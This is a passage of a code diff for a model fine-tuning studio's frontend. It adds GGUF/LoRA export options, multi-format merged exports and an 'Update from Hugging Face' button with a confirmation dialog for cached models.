+                        </SelectTrigger>
+                        <SelectContent>
+                          {LORA_GGUF_OUTTYPES.map((t) => (
+                            <SelectItem key={t} value={t}>
+                              {t.toUpperCase()}
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
+                    </div>
+                  )}
+                </div>
+              )}
+
+              {exportMethod === "gguf" && !exportUnsupported && (
+                <div className="space-y-3">
+                  {effectiveIsAdapter && !isMacHost && (
+                    <div className="space-y-2">
+                      <div className="text-sm font-medium">Export target</div>
+                      <div className="flex flex-wrap gap-2">
+                        <Button
+                          type="button"
+                          variant={ggufTarget === "model" ? "default" : "outline"}
+                          size="sm"
+                          onClick={() => setGgufTarget("model")}
+                          title="Merge the adapter into the base model, then quantize the full model to GGUF."
+                        >
+                          Full model
+                        </Button>
+                        <Button
+                          type="button"
+                          variant={ggufTarget === "lora" ? "default" : "outline"}
+                          size="sm"
+                          onClick={() => setGgufTarget("lora")}
+                          title="Export just the adapter as a GGUF LoRA (llama.cpp `--lora`); the base model stays separate."
+                        >
+                          LoRA adapter
+                        </Button>
+                      </div>
+                      <div className="text-xs text-muted-foreground">
+                        {ggufTarget === "lora"
+                          ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate."
+                          : "Merges the adapter into the base model, then quantizes the full model to GGUF."}
+                      </div>
+                    </div>
+                  )}
+
+                  {ggufAsLora ? (
+                    <div className="space-y-1.5">
+                      <div className="text-sm font-medium">Output type</div>
+                      <Select
+                        value={loraGgufOuttype}
+                        onValueChange={(v) => setLoraGgufOuttype(v)}
+                      >
+                        <SelectTrigger className="w-full sm:w-56">
+                          <SelectValue />
+                        </SelectTrigger>
+                        <SelectContent>
+                          {LORA_GGUF_OUTTYPES.map((t) => (
+                            <SelectItem key={t} value={t}>
+                              {t.toUpperCase()}
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
+                    </div>
+                  ) : (
+                    <>
+                      <QuantPicker
+                        value={quantLevels}
+                        onChange={setQuantLevels}
+                        sizes={quantSizeLabels}
+                      />
+                      <div className="flex items-center justify-between gap-3 rounded-lg border p-3">
+                        <div className="space-y-0.5">
+                          <div className="text-sm font-medium">
+                            Importance matrix (imatrix)
+                          </div>
+                          <div className="text-xs text-muted-foreground">
+                            {requiresImatrix
+                              ? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model."
+                              : "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."}
+                          </div>
+                        </div>
+                        <Switch
+                          checked={effectiveImatrix}
+                          onCheckedChange={setUseImatrix}
+                          disabled={requiresImatrix}
+                        />
+                      </div>
+                    </>
+                  )}
+                </div>
               )}
               {estimatedSize && (
                 <div className="flex items-center gap-1.5 text-xs text-muted-foreground">
diff --git a/studio/frontend/src/features/export/stores/export-runtime-store.ts b/studio/frontend/src/features/export/stores/export-runtime-store.ts
index 307e1ccaab..6ee5c78994 100644
--- a/studio/frontend/src/features/export/stores/export-runtime-store.ts
+++ b/studio/frontend/src/features/export/stores/export-runtime-store.ts
@@ -5,7 +5,6 @@ import { create } from "zustand";
 import {
   cancelExport,
   cleanupExport,
-  exportBase,
   exportGGUF,
   exportLoRA,
   exportMerged,
@@ -119,6 +118,8 @@ export interface ExportRunSummary {
   methodLabel: string;
   method: ExportMethod;
   quantLevels: string[];
+  /** Merged: the selected format values (for the summary "Formats" row and to reseed the picker). */
+  mergedFormats: string[];
   destination: ExportDestination;
 }
 
@@ -138,6 +139,18 @@ export interface RunExportParams {
   exportMethod: ExportMethod;
   isAdapter: boolean;
   quantLevels: string[];
+  /** GGUF: use an importance matrix (auto-download); required for the IQ quants. */
+  useImatrix?: boolean;
+  /** Merged: precision formats, each exported to its own sibling directory. Defaults to 16-bit.
+   *  `label` is the display name for the success banner's per-format output line. */
+  mergedSelections?: {
+    formatType: string;
+    compressedMethod: string | null;
+    label: string;
+  }[];
+  /** LoRA: also emit a GGUF LoRA adapter (llama.cpp `--lora`), and its output float type. */
+  loraGguf?: boolean;
+  loraGgufOuttype?: string;
   saveDirectory: string;
   destination: ExportDestination;
   repoId?: string;
@@ -168,7 +181,13 @@ interface ExportRuntimeState {
    *  settling the run by polling /api/export/status instead. Logs keep streaming. */
   reconnecting: boolean;
   startedAt: number | null;
-  result: { outputPath: string | null; destination: ExportDestination } | null;
+  /** `outputPath` is the first path (back-compat); `outputPaths` is one entry per written folder
+   *  so a multi-format merged run can list every sibling directory it created. */
+  result: {
+    outputPath: string | null;
+    outputPaths: { label: string; path: string }[];
+    destination: ExportDestination;
+  } | null;
   error: string | null;
   cancelRequested: boolean;
   hasHydrated: boolean;
@@ -313,6 +332,10 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
             phase: "success" as const,
             result: {
               outputPath: status.last_op_output_path ?? null,
+              // A run recovered from the backend only knows the last output path.
+              outputPaths: status.last_op_output_path
+                ? [{ label: "", path: status.last_op_output_path }]
+                : [],
               destination: state.result?.destination ?? "local",
             },
           };
@@ -347,7 +370,9 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
     const quantTotal =
       params.exportMethod === "gguf"
         ? Math.max(1, params.quantLevels.length)
-        : 1;
+        : params.exportMethod === "merged"
+          ? Math.max(1, params.mergedSelections?.length ?? 1)
+          : 1;
 
     set({
       runId,
@@ -427,65 +452,72 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
       }
       if (!isCurrent()) return;
 
-      // 2. Run the export. Capture the resolved output_path for the success
-      // banner; multi-quant GGUF shares one directory, so keep the last.
+      // 2. Run the export. Collect every resolved output_path so the success
+      // banner can list each sibling directory a multi-format run created.
       set({ phase: "exporting" });
-      let lastOutputPath: string | null = null;
+      const outputs: { label: string; path: string }[] = [];
 
       if (params.exportMethod === "merged") {
-        if (params.isAdapter) {
+        // Each selected format writes its own sibling directory (PEFT or non-PEFT base alike).
+        const selections =
+          params.mergedSelections && params.mergedSelections.length > 0
+            ? params.mergedSelections
+            : [{ formatType: "16-bit (FP16)", compressedMethod: null, label: "16-bit" }];
+        for (let i = 0; i < selections.length; i += 1) {
+          if (!isCurrent()) return;
+          set({ quantIndex: i });
+          const sel = selections[i];
           const { outputPath } = await runRecoverableOp(() =>
             exportMerged({
               save_directory: params.saveDirectory,
+              format_type: sel.formatType,
+              compressed_method: sel.compressedMethod,
               push_to_hub: pushToHub,
               repo_id: params.repoId,
               hf_token: params.token,
               private: params.privateRepo,
             }),
           );
-          lastOutputPath = outputPath;
-        } else {
-          const { outputPath } = await runRecoverableOp(() =>
-            exportBase({
-              save_directory: params.saveDirectory,
-              push_to_hub: pushToHub,
-              repo_id: params.repoId,
-              hf_token: params.token,
-              private: params.privateRepo,
-              base_model_id: params.baseModelId,
-            }),
-          );
-          lastOutputPath = outputPath;
-        }
-      } else if (params.exportMethod === "gguf") {
-        for (let i = 0; i < params.quantLevels.length; i += 1) {
-          if (!isCurrent()) return;
-          set({ quantIndex: i });
-          const quant = params.quantLevels[i];
-          const { outputPath } = await runRecoverableOp(() =>
-            exportGGUF({
-              save_directory: params.saveDirectory,
-              quantization_method: quant,
-              push_to_hub: pushToHub,
-              repo_id: params.repoId,
-              hf_token: params.token,
-            }),
-          );
-          lastOutputPath = outputPath ?? lastOutputPath;
+          if (outputPath) outputs.push({ label: sel.label, path: outputPath });
           if (!isCurrent()) return;
           set({ quantIndex: i + 1 });
         }
+      } else if (params.exportMethod === "gguf") {
+        // Send the whole quant list in ONE call: the model is merged once and every GGUF comes
+        // from that single merge (unsloth save_to_gguf loops internally).
+        const { outputPath } = await runRecoverableOp(() =>
+          exportGGUF({
+            save_directory: params.saveDirectory,
+            quantization_method: params.quantLevels,
+            push_to_hub: pushToHub,
+            repo_id: params.repoId,
+            hf_token: params.token,
+            imatrix: params.useImatrix,
+          }),
+        );
+        if (outputPath) outputs.push({ label: "GGUF", path: outputPath });
+        if (!isCurrent()) return;
+        set({ quantIndex: get().quantTotal });
       } else if (params.exportMethod === "lora") {
         const { outputPath } = await runRecoverableOp(() =>
           exportLoRA({
             save_directory: params.saveDirectory,
             push_to_hub: pushToHub,
             repo_id: params.repoId,
-            hf_token: params.token,
+            // A local GGUF LoRA export still reloads a possibly-gated base config, so fall back to
+            // the load token when there is no hub-upload token (both are the same HF token).
+            hf_token: params.token ?? params.loadToken ?? null,
             private: params.privateRepo,
+            gguf: params.loraGguf ?? false,
+            gguf_outtype: params.loraGgufOuttype ?? "q8_0",
           }),
         );
-        lastOutputPath = outputPath;
+        if (outputPath) {
+          outputs.push({
+            label: params.loraGguf ? "GGUF LoRA adapter" : "LoRA adapter",
+            path: outputPath,
+          });
+        }
       }
       if (!isCurrent()) return;
 
@@ -493,7 +525,11 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
         phase: "success",
         isExporting: false,
         reconnecting: false,
-        result: { outputPath: lastOutputPath, destination: params.destination },
+        result: {
+          outputPath: outputs[0]?.path ?? null,
+          outputPaths: outputs,
+          destination: params.destination,
+        },
       });
     } catch (err) {
       if (!isCurrent()) return;
diff --git a/studio/frontend/src/features/hub/catalog/download-card.tsx b/studio/frontend/src/features/hub/catalog/download-card.tsx
index 5083fb2f84..17177936ae 100644
--- a/studio/frontend/src/features/hub/catalog/download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/download-card.tsx
@@ -19,7 +19,11 @@ import {
   TooltipTrigger,
 } from "@/components/ui/tooltip";
 import { cn } from "@/lib/utils";
-import { Delete02Icon, Download01Icon } from "@hugeicons/core-free-icons";
+import {
+  ArrowReloadHorizontalIcon,
+  Delete02Icon,
+  Download01Icon,
+} from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import {
   DownloadProgressBar,
@@ -111,6 +115,73 @@ export function CardDeleteButton({
   );
 }
 
+export function CardUpdateButton({
+  label,
+  onClick,
+  emphasized = false,
+}: {
+  label: string;
+  onClick: () => void;
+  /** When true (a newer revision is available) the control becomes a prominent
+   *  labeled amber pill instead of the quiet hover-revealed icon — the
+   *  "update available" cue. Amber is the established status tone in this surface
+   *  (the older-cache hint banner), kept tinted (never solid) per the design
+   *  system's feedback-color convention, so the one emerald accent stays scarce. */
+  emphasized?: boolean;
+}) {
+  if (emphasized) {
+    return (
+      <Tooltip>
+        <TooltipTrigger asChild>
+          <button
+            type="button"
+            aria-label={label}
+            onClick={(e) => {
+              e.stopPropagation();
+              onClick();
+            }}
+            className="inline-flex h-7 shrink-0 cursor-pointer items-center gap-1.5 rounded-full bg-amber-500/[0.07] pl-2 pr-2.5 text-[12px] font-medium text-amber-800/90 transition-colors duration-150 hover:bg-amber-500/[0.12] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-amber-500/25 dark:bg-amber-400/[0.08] dark:text-amber-200/85 dark:hover:bg-amber-400/[0.16]"
+          >
+            <HugeiconsIcon
+              icon={ArrowReloadHorizontalIcon}
+              strokeWidth={2}
+              className="size-3.5"
+            />
+            Update
+          </button>
+        </TooltipTrigger>
+        <TooltipContent side="top" sideOffset={4}>
+          A newer version is available on Hugging Face
+        </TooltipContent>
+      </Tooltip>
+    );
+  }
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <button
+          type="button"
+          aria-label={label}
+          onClick={(e) => {
+            e.stopPropagation();
+            onClick();
+          }}
+          className="inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground opacity-0 transition-[opacity,background-color,color] duration-150 hover:bg-amber-500/10 hover:text-amber-600 focus-visible:opacity-100 group-hover/dl:opacity-100 dark:hover:bg-amber-500/15 dark:hover:text-amber-400"
+        >
+          <HugeiconsIcon
+            icon={ArrowReloadHorizontalIcon}
+            strokeWidth={1.75}
+            className="size-4"
+          />
+        </button>
+      </TooltipTrigger>
+      <TooltipContent side="top" sideOffset={4}>
+        Update from Hugging Face
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
 /** Download / Cancel / Resume button for the safetensors and dataset cards. */
 export function DownloadActionButton({
   downloading,
@@ -213,3 +284,44 @@ export function DeleteConfirmDialog({
     </AlertDialog>
   );
 }
+
+/** Confirmation dialog shared by the model and quantization update flows. */
+export function UpdateConfirmDialog({
+  open,
+  onOpenChange,
+  title,
+  description,
+  updating,
+  onConfirm,
+}: {
+  open: boolean;
+  onOpenChange: (open: boolean) => void;
+  title: string;
+  description: ReactNode;
+  updating: boolean;
+  onConfirm: () => void;
+}) {
+  return (
+    <AlertDialog open={open} onOpenChange={onOpenChange}>
+      <AlertDialogContent size="sm">
+        <AlertDialogHeader>
+          <AlertDialogTitle>{title}</AlertDialogTitle>
+          <AlertDialogDescription>{description}</AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel disabled={updating}>Cancel</AlertDialogCancel>
+          <AlertDialogAction
+            variant="default"
+            disabled={updating}
+            onClick={(e) => {
+              e.preventDefault();
+              onConfirm();
+            }}
+          >
+            {updating ? "Updating…" : "Update"}
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+}
diff --git a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
index d089835c3d..9e4f6593b4 100644
--- a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
@@ -17,7 +17,10 @@ import {
   useDownloadManagerStore,
   useRepoDownload,
 } from "../download-manager";
-import { type GgufVariantDetail, deleteCachedModel } from "../inventory";
+import {
+  type GgufVariantDetail,
+  deleteCachedModel,
+} from "../inventory";
 import { formatBytes } from "../lib/format";
 import { type GgufFitClass, classifyGgufFit } from "../lib/gguf-fit";
 import { HUB_GGUF_RUN_ACTIONS_VISIBLE } from "../lib/hub-feature-flags";
@@ -27,7 +30,9 @@ import {
 } from "../lib/model-identity";
 import { cn } from "@/lib/utils";
 import { useHfTokenStore } from "../stores/hf-token-store";
+import { useOnlineStatus } from "../hooks/use-online-status";
 import {
+  ArrowReloadHorizontalIcon,
   Delete02Icon,
   Download01Icon,
   InformationCircleIcon,
@@ -56,6 +61,7 @@ import {
   CardDivider,
   DeleteConfirmDialog,
   DownloadCard,
+  UpdateConfirmDialog,
 } from "./download-card";
 import {
   activeDownloadState,
@@ -160,9 +166,13 @@ function QuantBadge({
         <span className="min-w-0 truncate">{quant}</span>
       </span>
     ) : (
+      // Trigger quant label is the row's primary identity and is short
+      // (e.g. "Q4_K_M"); keep it `shrink-0` + `whitespace-nowrap` so it never
+      // collapses to "q…" when the Update/Run actions crowd the row. The info
+      // group's `overflow-hidden` sacrifices the trailing status tags instead.
       <span
         className={cn(
-          "inline-flex min-w-0 max-w-full shrink cursor-help items-center gap-1.5 text-[12.5px] font-medium tracking-tight tabular-nums",
+          "inline-flex shrink-0 cursor-help items-center gap-1.5 whitespace-nowrap text-[12.5px] font-medium tracking-tight tabular-nums",
           active ? "text-emerald-600 dark:text-emerald-400" : "text-foreground",
         )}
       >
@@ -173,7 +183,7 @@ function QuantBadge({
             className={cn("size-3.5 shrink-0", meta.iconClassName)}
           />
         )}
-        <span className="min-w-0 truncate">{quant}</span>
+        <span>{quant}</span>
       </span>
     );
   if (!showFit || tooltipMode === "none") return inner;
@@ -288,6 +298,11 @@ const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
           : "hover:bg-foreground/[0.05] dark:hover:bg-foreground/[0.06]",
       )}
     >
+      {/* Status (On device / Loaded / Partial) sits beside the quant on the
+          left so the model's identity reads as one unit; only the size pins
+          right. No per-row "GGUF" tag: every row here is a GGUF quant and the
+          trigger already labels it, so repeating it only stole the room the
+          quant label needs (it would otherwise truncate to "q…"). */}
       <span className="flex min-w-0 flex-1 items-center gap-2">
         <QuantBadge
           quant={item.label}
@@ -297,8 +312,6 @@ const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
           variant="menu"
           tooltipMode="lazy"
         />
-      </span>
-      <span className="ml-auto flex shrink-0 items-center gap-1.5">
         {item.downloaded && (
           <DotTag tone="success" label={loaded ? "Loaded" : "On device"} />
         )}
@@ -319,7 +332,8 @@ const GgufVariantMenuRow = memo(function GgufVariantMenuRow({
             </TooltipContent>
           </Tooltip>
         )}
-        <DotTag tone="gguf" label="GGUF" />
+      </span>
+      <span className="ml-auto flex shrink-0 items-center gap-1.5">
         <span className="relative">
           <span className={cn(CHIP_BASE, CHIP_DEFAULT)}>
             {item.downloadSizeLabel}
@@ -377,6 +391,7 @@ export function GgufDownloadCard({
   onChange?: () => void;
 }) {
   const hfToken = useHfTokenStore((s) => s.token);
+  const online = useOnlineStatus();
   const localVariantPath = cachePath?.trim() || null;
   const { variants, loading, error, refreshError, refresh } =
     useGgufVariantFetchState({
@@ -394,6 +409,7 @@ export function GgufDownloadCard({
     selectedQuantState.repoId === repoId ? selectedQuantState.quant : null;
   const [open, setOpen] = useState(false);
   const [deleteTarget, setDeleteTarget] = useState<string | null>(null);
+  const [updateTarget, setUpdateTarget] = useState<string | null>(null);
   const [completedVariantKeys, setCompletedVariantKeys] = useState<
     ReadonlySet<string>
   >(() => new Set<string>());
@@ -416,7 +432,7 @@ export function GgufDownloadCard({
     if (completedVariantKeys.size === 0) return withLive;
     return withLive.map((v) =>
       completedVariantKeys.has(normalizeGgufVariantIdentity(v.quant))
-        ? { ...v, downloaded: true, partial: false }
+        ? { ...v, downloaded: true, partial: false, update_available: false }
         : v,
     );
   }, [completedVariantKeys, liveVariantStates, rawSortedVariants]);
@@ -444,6 +460,7 @@ export function GgufDownloadCard({
       setCompletedVariantKeys((prev) =>
         prev.has(key) ? prev : new Set(prev).add(key),
       );
+      void refresh();
     },
   });
   const progress = job.progress;
@@ -529,6 +546,8 @@ export function GgufDownloadCard({
   const selectedDownloadSizeLabel = selected
     ? formatBytes(ggufVariantDownloadSizeBytes(selected))
     : null;
+  const updateAvailable =
+    selected?.downloaded === true && selected.update_available === true;
   const selectedVariantKey = selectedQuant
     ? normalizeGgufVariantIdentity(selectedQuant)
     : null;
@@ -587,6 +606,35 @@ export function GgufDownloadCard({
       setDeleteTarget(null);
     },
   });
+  const updateTargetVariant =
+    updateTarget && sortedVariants
+      ? sortedVariants.find((v) => ggufVariantsMatch(v.quant, updateTarget))
+      : null;
+  const updateTargetLabel = updateTargetVariant
+    ? ggufVariantDisplayLabel(updateTargetVariant)
+    : updateTarget;
+  // Confirm → close the dialog and run the re-download as a MANAGED download, so
+  // it surfaces in the "Downloading N items" panel with correct manifest-based
+  // progress and a working Cancel — the same UX as any other download — instead
+  // of a bespoke modal/toast. The worker re-resolves `main` and pulls only the
+  // changed blobs, so the cached version stays intact (and runnable) until the
+  // new revision lands. Completion refreshes the variant list, whose metadata
+  // carries the "Update available" cue.
+  const handleConfirmUpdate = useCallback(() => {
+    if (!updateTarget) return;
+    const variant = updateTarget;
+    const expectedBytes =
+      updateTargetVariant?.download_size_bytes ??
+      updateTargetVariant?.size_bytes ??
+      0;
+    setUpdateTarget(null);
+    void downloadManager.requestStart({
+      kind: "model",
+      repoId,
+      variant,
+      expectedBytes,
+    });
+  }, [updateTarget, updateTargetVariant, repoId]);
   const variantListUnavailable = !sortedVariants || sortedVariants.length === 0;
   const showVariantLoadingState = loading && variantListUnavailable;
 
@@ -640,24 +688,44 @@ export function GgufDownloadCard({
         job={job}
         progress={downloadingThisVariant ? progress : null}
         dialogs={
-          <DeleteConfirmDialog
-            open={deleteTarget !== null}
-            onOpenChange={(o) => {
-              if (!o && !deleting) setDeleteTarget(null);
-            }}
-            title="Delete quantization?"
-            deleting={deleting}
-            onConfirm={() => void runDelete()}
-            description={
-              <>
-                This will remove{" "}
-                <span className="font-medium text-foreground">
-                  {repoId} ({deleteTargetLabel})
-                </span>{" "}
-                from disk. You can re-download it later.
-              </>
-            }
-          />
+          <>
+            <DeleteConfirmDialog
+              open={deleteTarget !== null}
+              onOpenChange={(o) => {
+                if (!o && !deleting) setDeleteTarget(null);
+              }}
+              title="Delete quantization?"
+              deleting={deleting}
+              onConfirm={() => void runDelete()}
+              description={
+                <>
+                  This will remove{" "}
+                  <span className="font-medium text-foreground">
+                    {repoId} ({deleteTargetLabel})
+                  </span>{" "}
+                  from disk. You can re-download it later.
+                </>
+              }
+            />
+            <UpdateConfirmDialog
+              open={updateTarget !== null}
+              onOpenChange={(o) => {
+                if (!o) setUpdateTarget(null);
+              }}
+              title="Update quantization?"
+              updating={false}
+              onConfirm={handleConfirmUpdate}
+              description={
+                <>
+                  This will re-download the latest version of{" "}
+                  <span className="font-medium text-foreground">
+                    {repoId} ({updateTargetLabel})
+                  </span>{" "}
+                  from Hugging Face.
+                </>
+              }
+            />
+          </>
         }
       >
         <Popover open={open} onOpenChange={setOpen}>
@@ -668,21 +736,24 @@ export function GgufDownloadCard({
                 e.preventDefault();
                 setOpen((o) => !o);
               }}
-              className="hub-menu-trigger flex h-9 min-w-0 flex-1 cursor-pointer items-center gap-2.5 rounded-full px-3 text-left transition-colors hover:bg-foreground/[0.04] data-[state=open]:bg-foreground/[0.06] dark:hover:bg-white/[0.04] dark:data-[state=open]:bg-white/[0.06]"
+              className="hub-menu-trigger flex h-9 min-w-0 flex-1 cursor-pointer items-center gap-2 rounded-full px-3 text-left transition-colors hover:bg-foreground/[0.04] data-[state=open]:bg-foreground/[0.06] dark:hover:bg-white/[0.04] dark:data-[state=open]:bg-white/[0.06]"
             >
-              {selected ? (
-                <QuantBadge
-                  quant={selectedLabel ?? selected.quant}
-                  fit={selectedFit ?? "oom"}
-                  showFit={showFitInfo}
-                  active={Boolean(selectedIsActive)}
-                />
-              ) : (
-                <span className="text-[12.5px] text-muted-foreground">
-                  Select quantization
-                </span>
-              )}
-              <span className="ml-auto flex shrink-0 items-center gap-1.5 text-[12px] text-muted-foreground">
+              {/* Quant label + status tags travel together as one left-aligned
+                  group so the fit-info icon never floats orphaned from its tags;
+                  only the chevron pins right, the standard select affordance. */}
+              <span className="flex min-w-0 flex-1 items-center gap-2 overflow-hidden text-[12px] text-muted-foreground">
+                {selected ? (
+                  <QuantBadge
+                    quant={selectedLabel ?? selected.quant}
+                    fit={selectedFit ?? "oom"}
+                    showFit={showFitInfo}
+                    active={Boolean(selectedIsActive)}
+                  />
+                ) : (
+                  <span className="text-[12.5px] text-muted-foreground">
+                    Select quantization
+                  </span>
+                )}
                 {selected?.downloaded && (
                   <DotTag
                     tone="success"
@@ -710,15 +781,15 @@ export function GgufDownloadCard({
                 {selected &&
                   selectedDownloadSizeLabel &&
                   !selected.downloaded && (
-                    <span className="tabular-nums">
+                    <span className="shrink-0 tabular-nums">
                       {selectedDownloadSizeLabel}
                     </span>
                   )}
-                <HugeiconsIcon
-                  icon={ChevronDownStandardIcon}
-                  className="ml-0.5 size-3.5 shrink-0"
-                />
               </span>
+              <HugeiconsIcon
+                icon={ChevronDownStandardIcon}
+                className="size-3.5 shrink-0 text-muted-foreground"
+              />
             </button>
           </PopoverTrigger>
           <PopoverContent
@@ -726,7 +797,7 @@ export function GgufDownloadCard({
             side="bottom"
             sideOffset={8}
             avoidCollisions={false}
-            className="hub-menu-instant menu-soft-surface w-[var(--radix-popover-trigger-width)] min-w-[200px] gap-0 overflow-hidden p-0 py-2 ring-0"
+            className="hub-menu-instant menu-soft-surface w-[var(--radix-popover-trigger-width)] min-w-[300px] gap-0 overflow-hidden p-0 py-2 ring-0"
           >
             <div className="max-h-[344px] overflow-y-auto [scrollbar-width:thin]">
               {variantMenuItems.map((item) => {
@@ -760,6 +831,25 @@ export function GgufDownloadCard({
 
         {!isGgufRunCta && <CardDivider />}
 
+        {selected?.downloaded &&
+          online &&
+          updateAvailable &&
+          !selectedIsActive &&
+          !downloadingThisVariant && (
+            <button
+              type="button"
+              onClick={() => selected && setUpdateTarget(selected.quant)}
+              aria-label={`Update ${repoId}`}
+              className="hub-action-btn ml-1 text-amber-700 dark:text-amber-300"
+            >
+              <HugeiconsIcon
+                icon={ArrowReloadHorizontalIcon}
+                strokeWidth={1.75}
+              />
+              Update
+            </button>
+          )}
+
         <button
           type="button"
           disabled={downloadAction.disabled}
diff --git a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
index 7895a89254..38464d36e4 100644
--- a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
+++ b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
@@ -38,6 +38,7 @@ export function HubOptionMenu<T extends string>({
   showChevron = true,
   title,
   triggerContent,
+  footer,
 }: {
   value: T;
   options: readonly HubOption<T>[];
@@ -49,9 +50,12 @@ export function HubOptionMenu<T extends string>({
   showChevron?: boolean;
   title?: string;
   triggerContent?: ReactNode;
+  /** Rendered under the options behind a separator; clicks keep the menu open. */
+  footer?: ReactNode;
 }) {
   const [open, setOpen] = useState(false);
-  const [activeIndex, setActiveIndex] = useState(0);
+  // -1 = nothing highlighted (no hover, no keyboard nav yet).
+  const [activeIndex, setActiveIndex] = useState(-1);
   const triggerRef = useRef<HTMLButtonElement | null>(null);
   const listboxRef = useRef<HTMLDivElement | null>(null);
   const idBase = useId();
@@ -63,9 +67,9 @@ export function HubOptionMenu<T extends string>({
   }, [options, value]);
   const selected = options[selectedIndex];
   const resolvedActiveIndex =
-    options.length === 0
+    options.length === 0 || activeIndex < 0
       ? -1
-      : Math.min(Math.max(activeIndex, 0), options.length - 1);
+      : Math.min(activeIndex, options.length - 1);
   const activeOptionId =
     resolvedActiveIndex >= 0 ? `${idBase}-option-${resolvedActiveIndex}` : undefined;
 
@@ -92,11 +96,13 @@ export function HubOptionMenu<T extends string>({
     (nextOpen: boolean) => {
       setOpen(nextOpen);
       if (nextOpen) {
-        activateIndex(selectedIndex);
+        // Nothing highlighted until the user hovers or uses the keyboard;
+        // keyboard nav anchors on the selected option (handleContentKeyDown).
+        activateIndex(-1);
         requestAnimationFrame(() => listboxRef.current?.focus());
       }
     },
-    [activateIndex, selectedIndex],
+    [activateIndex],
   );
 
   const handleContentKeyDown = useCallback(
@@ -112,12 +118,21 @@ export function HubOptionMenu<T extends string>({
       }
       if (event.key === "ArrowDown") {
         event.preventDefault();
-        setActiveIndex((currentIndex + 1) % options.length);
+        // First arrow press highlights the selected option, then steps.
+        setActiveIndex(
+          resolvedActiveIndex < 0
+            ? selectedIndex
+            : (currentIndex + 1) % options.length,
+        );
         return;
       }
       if (event.key === "ArrowUp") {
         event.preventDefault();
-        setActiveIndex((currentIndex - 1 + options.length) % options.length);
+        setActiveIndex(
+          resolvedActiveIndex < 0
+            ? selectedIndex
+            : (currentIndex - 1 + options.length) % options.length,
+        );
         return;
       }
       if (event.key === "Home") {
@@ -197,6 +212,7 @@ export function HubOptionMenu<T extends string>({
           aria-activedescendant={activeOptionId}
           tabIndex={0}
           onKeyDown={handleContentKeyDown}
+          onPointerLeave={() => activateIndex(-1)}
           className="outline-none"
         >
           {options.map((option, index) => {
@@ -235,6 +251,12 @@ export function HubOptionMenu<T extends string>({
             );
           })}
         </div>
+        {footer && (
+          // -mt-3 cancels the surface's 16px flex gap down to 4px. No side
+          // padding: the footer label carries the same padding as the options
+          // so its checkbox lines up with the option text.
+          <div className="-mt-3 border-t border-border/60 pt-1">{footer}</div>
+        )}
       </PopoverContent>
     </Popover>
   );
diff --git a/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx b/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
index 7edae555d8..e40f5fd5ac 100644
--- a/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/local-on-device-card.tsx
@@ -23,6 +23,12 @@ import {
   type ModelInventoryFormat,
   deleteCachedModel,
 } from "../inventory";
+import {
+  downloadManager,
+  jobKeyOf,
+  selectActiveJob,
+  useDownloadManagerStore,
+} from "../download-manager";
 import { formatBytes } from "../lib/format";
 import { ggufVariantsMatch } from "../lib/model-identity";
 import { cn } from "@/lib/utils";
@@ -37,16 +43,23 @@ import {
 } from "@hugeicons/core-free-icons";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useMemo, useState } from "react";
+import { useCallback, useMemo, useState } from "react";
 import {
   ggufVariantDisplayLabel,
   sortLocalGgufVariants,
 } from "../lib/gguf-variant-sort";
 import { DotTag } from "./dot-tag";
-import { CardDeleteButton, DeleteConfirmDialog } from "./download-card";
+import {
+  CardDeleteButton,
+  CardUpdateButton,
+  DeleteConfirmDialog,
+  UpdateConfirmDialog,
+} from "./download-card";
 import { PathInfoButton } from "./path-info-button";
+import { TransportConflictDialog } from "./transport-conflict-dialog";
 import { useCardDelete } from "./use-card-delete";
 import { useGgufVariantFetchState } from "./use-gguf-variant-fetch-state";
+import { useOnlineStatus } from "../hooks/use-online-status";
 
 type LocalLoadOptions = {
   ggufVariant?: string;
@@ -196,8 +209,34 @@ export function LocalOnDeviceCard({
   onChange,
 }: LocalOnDeviceCardProps) {
   const [deleteOpen, setDeleteOpen] = useState(false);
+  const [updateOpen, setUpdateOpen] = useState(false);
   const [variantOpen, setVariantOpen] = useState(false);
+  const [updateConflictKey, setUpdateConflictKey] = useState<string | null>(
+    null,
+  );
+  const updateTransportConflict = useDownloadManagerStore((state) =>
+    updateConflictKey
+      ? (state.conflicts[updateConflictKey]?.info ?? null)
+      : null,
+  );
+  const cancelUpdateConflict = useCallback(() => {
+    if (updateConflictKey) downloadManager.cancelConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
+  const resumeUpdateConflict = useCallback(() => {
+    if (!updateConflictKey) return;
+    downloadManager.resumeConflict(updateConflictKey);
